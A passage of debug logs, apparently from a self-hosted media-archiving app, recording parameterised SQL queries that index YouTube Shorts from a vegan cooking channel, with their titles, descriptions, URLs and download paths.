💩 with some vegan banana nice cream! 🥶 #shorts #youtubeshorts/Cool your 💩 with some vegan banana nice cream! 🥶 #shorts #youtubeshorts [f8-chAd74xc].NA", true, ~U[2022-08-11 01:26:30Z]] 20:31:10.298 [debug] QUERY OK source="sources" db=0.5ms idle=6.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.300 [debug] QUERY OK source="media_items" db=1.6ms idle=5.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-09 01:33:57Z], 1] 20:31:10.300 [debug] QUERY OK source="media_items" db=0.6ms idle=6.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This week on the channel we're releasing a Lindt vegan milk chocolate bar review and taste test. Subscribe and get ready for all the delicious vegan chocolate bar fun!\n\n@LindtChocolateCanada", "😱My reaction to a Lindt vegan milk chocolate bar 😱❤️", "5c721322-da64-4302-80cd-309eb019f7f7", 1, [], 12, false, "fDH_ik_xTBY", "https://www.youtube.com/shorts/fDH_ik_xTBY", 270, "/downloads/downloads/alec/Steamy Vegan/2022-08-09 😱My reaction to a Lindt vegan milk chocolate bar 😱❤️/😱My reaction to a Lindt vegan milk chocolate bar 😱❤️ [fDH_ik_xTBY].NA", false, false, true, 2, ~U[2022-08-09 01:33:57Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "This week on the channel we're releasing a Lindt vegan milk chocolate bar review and taste test. Subscribe and get ready for all the delicious vegan chocolate bar fun!\n\n@LindtChocolateCanada", "😱My reaction to a Lindt vegan milk chocolate bar 😱❤️", 1, 12, false, "fDH_ik_xTBY", "https://www.youtube.com/shorts/fDH_ik_xTBY", "/downloads/downloads/alec/Steamy Vegan/2022-08-09 😱My reaction to a Lindt vegan milk chocolate bar 😱❤️/😱My reaction to a Lindt vegan milk chocolate bar 😱❤️ [fDH_ik_xTBY].NA", true, ~U[2022-08-09 01:33:57Z]] 20:31:10.301 [debug] QUERY OK source="sources" db=0.4ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.303 [debug] QUERY OK source="media_items" db=1.7ms idle=4.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-08 17:03:02Z], 1] 20:31:10.305 [debug] QUERY OK source="media_items" db=0.8ms idle=6.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Make your own pickled red cabbage! You can pickle almost any veggie and all you need is a few simple ingredients to make your own pickling brine:\n1 + 1/4 C water\n1 + 1/4 C white vinegar\n2 tsp salt\n1 tsp sugar\nMIX ABOVE INGREDIENTS IN A POT - BRING TO BOIL - POUR OVER CHOPPED VEG IN A GLASS JAR!\n\nWatch my other full-length videos on pickling below! \nHOW TO MAKE QUICK PICKLED JALAPEÑOS: https://youtu.be/_Va9Zy4IyNQ\nHOW TO MAKE QUICK PICKLED RED ONION: https://youtu.be/kmBLjqO1DM8", "How to make pickled red cabbage! #shorts #youtubeshorts", "6862d945-07df-4d07-ab51-75f4f5bcc1c1", 1, [], 15, false, "2K6zooy6s04", "https://www.youtube.com/shorts/2K6zooy6s04", 271, "/downloads/downloads/alec/Steamy Vegan/2022-08-08 How to make pickled red cabbage! #shorts #youtubeshorts/How to make pickled red cabbage! #shorts #youtubeshorts [2K6zooy6s04].NA", false, false, true, 1, ~U[2022-08-08 17:03:02Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Make your own pickled red cabbage! You can pickle almost any veggie and all you need is a few simple ingredients to make your own pickling brine:\n1 + 1/4 C water\n1 + 1/4 C white vinegar\n2 tsp salt\n1 tsp sugar\nMIX ABOVE INGREDIENTS IN A POT - BRING TO BOIL - POUR OVER CHOPPED VEG IN A GLASS JAR!\n\nWatch my other full-length videos on pickling below! \nHOW TO MAKE QUICK PICKLED JALAPEÑOS: https://youtu.be/_Va9Zy4IyNQ\nHOW TO MAKE QUICK PICKLED RED ONION: https://youtu.be/kmBLjqO1DM8", "How to make pickled red cabbage! #shorts #youtubeshorts", 1, 15, false, "2K6zooy6s04", "https://www.youtube.com/shorts/2K6zooy6s04", "/downloads/downloads/alec/Steamy Vegan/2022-08-08 How to make pickled red cabbage! #shorts #youtubeshorts/How to make pickled red cabbage! #shorts #youtubeshorts [2K6zooy6s04].NA", true, ~U[2022-08-08 17:03:02Z]] 20:31:10.306 [debug] QUERY OK source="sources" db=0.8ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.308 [debug] QUERY OK source="media_items" db=1.8ms idle=5.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-07 17:56:16Z], 1] 20:31:10.309 [debug] QUERY OK source="media_items" db=0.8ms idle=7.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["What I eat in a day as a vegan (gluten-free)! 🌱 Everything I eat I try to make easy, cheap and yummy! \n\nCheck out my channel @steamyvegan for lots of plant-based recipes to drool over 😉", "What I eat in a day as a vegan! (gluten-free) Easy, cheap, yummy recipes! 🌱 #youtubeshorts #shorts", "7085fb0c-0911-4528-a0ab-817f492f3323", 1, [], 15, false, "cRZp4OZ-39s", "https://www.youtube.com/shorts/cRZp4OZ-39s", 272, "/downloads/downloads/alec/Steamy Vegan/2022-08-07 What I eat in a day as a vegan! (gluten-free) Easy, cheap, yummy recipes! 🌱 #youtubeshorts #shorts/What I eat in a day as a vegan! (gluten-free) Easy, cheap, yummy recipes! 🌱 #youtubeshorts #shorts [cRZp4OZ-39s].NA", false, false, true, 1, ~U[2022-08-07 17:56:16Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "What I eat in a day as a vegan (gluten-free)! 🌱 Everything I eat I try to make easy, cheap and yummy! \n\nCheck out my channel @steamyvegan for lots of plant-based recipes to drool over 😉", "What I eat in a day as a vegan! (gluten-free) Easy, cheap, yummy recipes! 🌱 #youtubeshorts #shorts", 1, 15, false, "cRZp4OZ-39s", "https://www.youtube.com/shorts/cRZp4OZ-39s", "/downloads/downloads/alec/Steamy Vegan/2022-08-07 What I eat in a day as a vegan! (gluten-free) Easy, cheap, yummy recipes! 🌱 #youtubeshorts #shorts/What I eat in a day as a vegan! (gluten-free) Easy, cheap, yummy recipes! 🌱 #youtubeshorts #shorts [cRZp4OZ-39s].NA", true, ~U[2022-08-07 17:56:16Z]] 20:31:10.310 [debug] QUERY OK source="sources" db=0.6ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.312 [debug] QUERY OK source="media_items" db=1.5ms idle=5.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-06 16:45:00Z], 1] 20:31:10.314 [debug] QUERY OK source="media_items" db=0.7ms idle=6.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Today on the channel, we're reviewing 2 non-dairy, vegan milk alternatives. Could one of these be the best non dairy milk on the market today? There's only one way to truly find out and that's with the Cookie Dunk.\n\nSubscribe and check out the full review video.\n\nFull VIdeo Link: https://youtu.be/UwWh1cqEDy8", "The Cookie Dunk 🍪🥛The Best Way to Taste Test Non-Dairy Milk? #shorts #youtubeshorts", "1d174427-6af0-4d98-ab51-6009e6ff7f3f", 1, [], 14, false, "-et9meE53KU", "https://www.youtube.com/shorts/-et9meE53KU", 273, "/downloads/downloads/alec/Steamy Vegan/2022-08-06 The Cookie Dunk 🍪🥛The Best Way to Taste Test Non-Dairy Milk? #shorts #youtubeshorts/The Cookie Dunk 🍪🥛The Best Way to Taste Test Non-Dairy Milk? #shorts #youtubeshorts [-et9meE53KU].NA", false, false, true, 3, ~U[2022-08-06 16:45:00Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Today on the channel, we're reviewing 2 non-dairy, vegan milk alternatives. Could one of these be the best non dairy milk on the market today? There's only one way to truly find out and that's with the Cookie Dunk.\n\nSubscribe and check out the full review video.\n\nFull VIdeo Link: https://youtu.be/UwWh1cqEDy8", "The Cookie Dunk 🍪🥛The Best Way to Taste Test Non-Dairy Milk? #shorts #youtubeshorts", 1, 14, false, "-et9meE53KU", "https://www.youtube.com/shorts/-et9meE53KU", "/downloads/downloads/alec/Steamy Vegan/2022-08-06 The Cookie Dunk 🍪🥛The Best Way to Taste Test Non-Dairy Milk? #shorts #youtubeshorts/The Cookie Dunk 🍪🥛The Best Way to Taste Test Non-Dairy Milk? #shorts #youtubeshorts [-et9meE53KU].NA", true, ~U[2022-08-06 16:45:00Z]] 20:31:10.315 [debug] QUERY OK source="sources" db=0.9ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.317 [debug] QUERY OK source="media_items" db=1.8ms idle=6.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-06 15:50:03Z], 1] 20:31:10.318 [debug] QUERY OK source="media_items" db=0.7ms idle=7.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["HOW TO FREEZE BANANAS 🍌 Did you know that bananas are one of the most wasted items of produce? 😳 Don't let your brown or spotty bananas die on your countertop... FREEZE THEM! 🍌❄️ I show you 3 ways to do that in the video below ⬇️ CHECK IT OUT! \nhttps://youtu.be/Em_STW7wKQs", "How to freeze bananas! 🍌 METHOD 3 | Slice into chunks and freeze! #shorts #youtubeshorts", "44a5beb1-ac56-4aaf-9140-b2dfcda299d1", 1, [], 19, false, "5rz7A8x_Z8g", "https://www.youtube.com/shorts/5rz7A8x_Z8g", 274, "/downloads/downloads/alec/Steamy Vegan/2022-08-06 How to freeze bananas! 🍌 METHOD 3 | Slice into chunks and freeze! #shorts #youtubeshorts/How to freeze bananas! 🍌 METHOD 3 | Slice into chunks and freeze! #shorts #youtubeshorts [5rz7A8x_Z8g].NA", false, false, true, 3, ~U[2022-08-06 15:50:03Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "HOW TO FREEZE BANANAS 🍌 Did you know that bananas are one of the most wasted items of produce? 😳 Don't let your brown or spotty bananas die on your countertop... FREEZE THEM! 🍌❄️ I show you 3 ways to do that in the video below ⬇️ CHECK IT OUT! \nhttps://youtu.be/Em_STW7wKQs", "How to freeze bananas! 🍌 METHOD 3 | Slice into chunks and freeze! #shorts #youtubeshorts", 1, 19, false, "5rz7A8x_Z8g", "https://www.youtube.com/shorts/5rz7A8x_Z8g", "/downloads/downloads/alec/Steamy Vegan/2022-08-06 How to freeze bananas! 🍌 METHOD 3 | Slice into chunks and freeze! #shorts #youtubeshorts/How to freeze bananas! 🍌 METHOD 3 | Slice into chunks and freeze! #shorts #youtubeshorts [5rz7A8x_Z8g].NA", true, ~U[2022-08-06 15:50:03Z]] 20:31:10.319 [debug] QUERY OK source="sources" db=0.8ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.322 [debug] QUERY OK source="media_items" db=2.3ms idle=6.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-05 15:00:05Z], 1] 20:31:10.324 [debug] QUERY OK source="media_items" db=1.3ms idle=6.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["HOW TO FREEZE BANANAS 🍌 Did you know that bananas are one of the most wasted items of produce? 😳 Don't let your brown or spotty bananas die on your countertop... FREEZE THEM! 🍌❄️ I show you 3 ways to do that in the video below ⬇️ CHECK IT OUT! \nhttps://youtu.be/Em_STW7wKQs", "How to freeze bananas 🍌 METHOD 2 | freeze whole without the peel! #youtubeshorts #shorts", "efa3d31c-e7f2-4c1f-a916-350f2a8f895e", 1, [], 16, false, "7c2p7kRwy8I", "https://www.youtube.com/shorts/7c2p7kRwy8I", 275, "/downloads/downloads/alec/Steamy Vegan/2022-08-05 How to freeze bananas 🍌 METHOD 2 | freeze whole without the peel! #youtubeshorts #shorts/How to freeze bananas 🍌 METHOD 2 | freeze whole without the peel! #youtubeshorts #shorts [7c2p7kRwy8I].NA", false, false, true, 2, ~U[2022-08-05 15:00:05Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "HOW TO FREEZE BANANAS 🍌 Did you know that bananas are one of the most wasted items of produce? 😳 Don't let your brown or spotty bananas die on your countertop... FREEZE THEM! 🍌❄️ I show you 3 ways to do that in the video below ⬇️ CHECK IT OUT! \nhttps://youtu.be/Em_STW7wKQs", "How to freeze bananas 🍌 METHOD 2 | freeze whole without the peel! #youtubeshorts #shorts", 1, 16, false, "7c2p7kRwy8I", "https://www.youtube.com/shorts/7c2p7kRwy8I", "/downloads/downloads/alec/Steamy Vegan/2022-08-05 How to freeze bananas 🍌 METHOD 2 | freeze whole without the peel! #youtubeshorts #shorts/How to freeze bananas 🍌 METHOD 2 | freeze whole without the peel! #youtubeshorts #shorts [7c2p7kRwy8I].NA", true, ~U[2022-08-05 15:00:05Z]] 20:31:10.324 [debug] QUERY OK source="sources" db=0.4ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.326 [debug] QUERY OK source="media_items" db=2.0ms idle=6.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-05 00:17:13Z], 1] 20:31:10.334 [debug] QUERY OK source="media_items" db=5.6ms idle=8.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["HOW TO FREEZE BANANAS 🍌 Did you know that bananas are one of the most wasted items of produce? 😳 Don't let your brown or spotty bananas die on your countertop... FREEZE THEM! 🍌❄️ I show you 3 ways to do that in the video below ⬇️ CHECK IT OUT! \nhttps://youtu.be/Em_STW7wKQs", "How to freeze bananas 🍌 METHOD 1 | freeze your bananas whole! #youtubeshorts #shorts", "21502132-d2d4-4b08-9592-a2edf2485ade", 1, [], 14, false, "3yApAjneG0s", "https://www.youtube.com/shorts/3yApAjneG0s", 276, "/downloads/downloads/alec/Steamy Vegan/2022-08-05 How to freeze bananas 🍌 METHOD 1 | freeze your bananas whole! #youtubeshorts #shorts/How to freeze bananas 🍌 METHOD 1 | freeze your bananas whole! #youtubeshorts #shorts [3yApAjneG0s].NA", false, false, true, 2, ~U[2022-08-05 00:17:13Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "HOW TO FREEZE BANANAS 🍌 Did you know that bananas are one of the most wasted items of produce? 😳 Don't let your brown or spotty bananas die on your countertop... FREEZE THEM! 🍌❄️ I show you 3 ways to do that in the video below ⬇️ CHECK IT OUT! \nhttps://youtu.be/Em_STW7wKQs", "How to freeze bananas 🍌 METHOD 1 | freeze your bananas whole! #youtubeshorts #shorts", 1, 14, false, "3yApAjneG0s", "https://www.youtube.com/shorts/3yApAjneG0s", "/downloads/downloads/alec/Steamy Vegan/2022-08-05 How to freeze bananas 🍌 METHOD 1 | freeze your bananas whole! #youtubeshorts #shorts/How to freeze bananas 🍌 METHOD 1 | freeze your bananas whole! #youtubeshorts #shorts [3yApAjneG0s].NA", true, ~U[2022-08-05 00:17:13Z]] 20:31:10.335 [debug] QUERY OK source="sources" db=0.7ms idle=12.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.337 [debug] QUERY OK source="media_items" db=1.9ms idle=11.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-03 15:57:36Z], 1] 20:31:10.340 [debug] QUERY OK source="media_items" db=1.9ms idle=13.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["It's hot out and we're cooling off with a vegan and non-dairy ice cream review video. Get ready for our weird and wacky reactions to some of the best and top recommended vegan, non dairy ice creams on the market!\n\nFull Review Video Here: https://youtu.be/rU4cirfns1Q\n\nDon't forget to subscribe and stay tuned for more vegan and gluten free recipe videos and review videos of vegan products!", "The ultimate way to cool off on a hot day 🔥🥵☀️vegan ice cream review #shorts #youtubeshorts", "03f3375b-78dd-452d-b40e-174ee6452836", 1, [], 14, false, "eLUjoz0nZMM", "https://www.youtube.com/shorts/eLUjoz0nZMM", 277, "/downloads/downloads/alec/Steamy Vegan/2022-08-03 The ultimate way to cool off on a hot day 🔥🥵☀️vegan ice cream review #shorts #youtubeshorts/The ultimate way to cool off on a hot day 🔥🥵☀️vegan ice cream review #shorts #youtubeshorts [eLUjoz0nZMM].NA", false, false, true, 2, ~U[2022-08-03 15:57:36Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "It's hot out and we're cooling off with a vegan and non-dairy ice cream review video. Get ready for our weird and wacky reactions to some of the best and top recommended vegan, non dairy ice creams on the market!\n\nFull Review Video Here: https://youtu.be/rU4cirfns1Q\n\nDon't forget to subscribe and stay tuned for more vegan and gluten free recipe videos and review videos of vegan products!", "The ultimate way to cool off on a hot day 🔥🥵☀️vegan ice cream review #shorts #youtubeshorts", 1, 14, false, "eLUjoz0nZMM", "https://www.youtube.com/shorts/eLUjoz0nZMM", "/downloads/downloads/alec/Steamy Vegan/2022-08-03 The ultimate way to cool off on a hot day 🔥🥵☀️vegan ice cream review #shorts #youtubeshorts/The ultimate way to cool off on a hot day 🔥🥵☀️vegan ice cream review #shorts #youtubeshorts [eLUjoz0nZMM].NA", true, ~U[2022-08-03 15:57:36Z]] 20:31:10.340 [debug] QUERY OK source="sources" db=0.5ms idle=13.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.342 [debug] QUERY OK source="media_items" db=1.8ms idle=6.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-02 21:00:36Z], 1] 20:31:10.507 [debug] QUERY OK source="media_items" db=1.5ms idle=3.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-07 21:00:04Z], 1] 20:31:10.508 [debug] QUERY OK source="media_items" db=1.1ms idle=5.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I'm in the mood for vegan and gluten free baked goods in my kitchen. If you're considering eating more plant based, vegan and gluten free foods, don't worry about if your baked goods will still taste as good. They definitely will and I have several recipes like brownies, scones, nut clusters, pies, and more to help.\n\nDon't forget to subscribe so you don't miss any of my delicious vegan and gluten free baked goods! Thanks for your support! Janelle", "Are You in the Mood For Something Sweet? 🤤 😋 👍#shorts #youtubeshorts", "7aca32df-f84e-4933-a1b1-5dc6ec574914", 1, [], 13, false, "8ZkQI5tsCxQ", "https://www.youtube.com/shorts/8ZkQI5tsCxQ", 325, "/downloads/downloads/alec/Steamy Vegan/2022-07-07 Are You in the Mood For Something Sweet? 🤤 😋 👍#shorts #youtubeshorts/Are You in the Mood For Something Sweet? 🤤 😋 👍#shorts #youtubeshorts [8ZkQI5tsCxQ].NA", false, false, true, 3, ~U[2022-07-07 21:00:04Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "I'm in the mood for vegan and gluten free baked goods in my kitchen. If you're considering eating more plant based, vegan and gluten free foods, don't worry about if your baked goods will still taste as good. They definitely will and I have several recipes like brownies, scones, nut clusters, pies, and more to help.\n\nDon't forget to subscribe so you don't miss any of my delicious vegan and gluten free baked goods! Thanks for 